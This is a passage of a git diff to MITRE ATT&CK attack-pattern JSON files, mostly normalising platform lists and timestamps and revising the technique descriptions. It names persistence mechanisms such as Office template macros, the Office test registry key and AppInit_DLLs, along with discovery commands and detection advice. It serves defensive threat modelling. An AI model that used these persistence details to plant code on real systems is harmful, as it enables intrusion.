behavior.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
+            "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.\n\nDetection: The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\n\nPlatforms: macOS\n\nData Sources: File monitoring, Process Monitoring\n\nEffective Permissions: root\n\nPermissions Required: Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -52,8 +52,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53.json b/enterprise-attack/attack-pattern/attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53.json
index 45b77166ba..e4f8ac0133 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--13ce39e1-b569-4ccf-9c11-a636d78d29c2",
+    "id": "bundle--a0dee793-dced-4e48-bbc5-20a0504d671e",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Office Application Startup",
-            "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
+            "description": "Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.\n\n===Office Template Macros===\n\nMicrosoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts. (Citation: Microsoft Change Normal Template)\n\nOffice Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded. (Citation: enigma0x3 normal.dotm) (Citation: Hexacorn Office Template Macros)\n\nWord Normal.dotm location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm</code>\n\nExcel Personal.xlsb location:<code>C:\\Users\\(username)\\AppData\\Roaming\\Microsoft\\Excel\\XLSTART\\PERSONAL.XLSB</code>\n\nAn adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.\n\n===Office Test===\n\nA Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started (Citation: Hexacorn Office Test)\n\n<code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\n===Add-ins===\n\nOffice add-ins can be used to add functionality to Office programs. (Citation: Microsoft Office Add-ins)\n\nAdd-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nDetection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.\n\nMonitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins. (Citation: MRWLabs Office Persistence Add-ins)\n\nNon-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User, Administrator\n\nSystem Requirements: Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions\n\nContributors: Ricardo Dias, Loic Jaquemet",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -77,15 +77,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Office Test technique: Office 2007, 2010, 2013, 2015 and 2016\nAdd-ins: some require administrator permissions"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044.json b/enterprise-attack/attack-pattern/attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044.json
index 743c07e59a..6213cb711d 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e0182834-e214-4af5-a0d1-d3b9d5a6a698",
+    "id": "bundle--c939cf7f-1f4c-4fce-850e-8685385e9104",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:07.958Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Disabling Security Tools",
-            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
+            "description": "Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.\n\nDetection: Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log or event file reporting may be suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Anti-virus, File monitoring, Services, Windows Registry, Process command-line parameters\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Signature-based detection, Log analysis",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -43,21 +43,9 @@
                 "Log analysis"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619.json b/enterprise-attack/attack-pattern/attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619.json
index 7dae27d66c..5189cef7a0 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7a7b351-b3dd-45ca-b9ef-285d82f7a570",
+    "id": "bundle--5591ebd7-685c-4381-a339-e37e21a201b3",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:27.985Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Automated Collection",
-            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
+            "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of Scripting to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. This functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as File and Directory Discovery and Remote File Copy to identify and move files.\n\nDetection: Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as Data Staged. As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process command-line parameters, Data loss prevention\n\nPermissions Required: User\n\nSystem Requirements: Permissions to access directories and files that store information of interest.",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -36,21 +36,9 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Permissions to access directories and files that store information of interest."
diff --git a/enterprise-attack/attack-pattern/attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f.json b/enterprise-attack/attack-pattern/attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f.json
index e5cf2029c9..dd0282b5ef 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0429a84-6255-4860-b3ca-78d667d9e4ad",
+    "id": "bundle--135c701a-7d23-4990-ad86-1f6c5fe0cb61",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:25.967Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clipboard Data",
-            "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring",
+            "description": "Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications. \n\n===Windows===\n\nApplications can access clipboard data by using the Windows API. (Citation: MSDN Clipboard) \n\n===Mac===\n\nOSX provides a native command, <code>pbpaste</code>, to grab clipboard contents  (Citation: Operating with EmPyre).\n\nDetection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,21 +41,9 @@
                 "API monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41.json b/enterprise-attack/attack-pattern/attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41.json
index bca6b716b5..3d9f004fa9 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1b579471-3adb-4e57-91d0-106047e93e5a",
+    "id": "bundle--4cc47985-82d1-42ef-8557-30f3fdd1cde2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:15.409Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "AppInit DLLs",
-            "description": "DLLs that are specified in the AppInit_DLLs value in the Registry key <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program. This value can be abused to obtain persistence by causing a DLL to be loaded into most processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
+            "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> or <code>HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows</code> are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Engame Process Injection July 2017) Similar to Process Injection, these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)\n\nDetection: Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator\n\nSystem Requirements: Secure boot disabled on systems running Windows 8 and later",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -41,6 +41,11 @@
                     "source_name": "TechNet Autoruns",
                     "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                     "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
                 }
             ],
             "object_marking_refs": [
@@ -59,18 +64,7 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ],
             "x_mitre_system_requirements": [
                 "Secure boot disabled on systems running Windows 8 and later"
diff --git a/enterprise-attack/attack-pattern/attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa.json b/enterprise-attack/attack-pattern/attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa.json
index 26e52b1316..f4317eb7fe 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--347d777c-f673-4fb8-9242-d756f7d3b601",
+    "id": "bundle--a6b17af3-8a98-4b85-b52f-1f09ef793f75",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:21.315Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "System Service Discovery",
-            "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using Tasklist, and \"net start\" using Net, but adversaries may also use other tools as well.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Process command-line parameters, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -37,18 +37,7 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         }
     ]
diff --git a/enterprise-attack/attack-pattern/attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529.json b/enterprise-attack/attack-pattern/attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529.json
index f258169b01..a587d326c1 100644
--- a/enterprise-attack/attack-pattern/attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529.json
+++ b/enterprise-attack/attack-pattern/attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--76332863-5d1e-4f45-8947-57afb539f3c2",
+    "id": "bundle--c8bf32d0-e0c5-4df8-ab3a-e5ee04d510dc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,9 +8,9 @@
             "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:41.399Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Sniffing",
-            "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, Address Resolution Protocol (ARP) and Domain Name Service (DNS) poisoning can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Network device logs, Host network interface, Netflow/Enclave netflow\n\nPermissions Required: Administrator, SYSTEM\n\nSystem Requirements: Network interface access and packet capture driver",
+            "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection.\n\nUser credentials may be sent over an insecure, unencrypted protocol that can be captured and obtained through network packet analysis. An adversary may place a network interface into promiscuous mode, using a utility to capture traffic in transit over the network or use span ports to capture a larger amount of data. In addition, techniques for name service resolution poisoning, such as LLMNR/NBT-NS Poisoning, can be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nDetection: Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Network device logs, Host network interface, 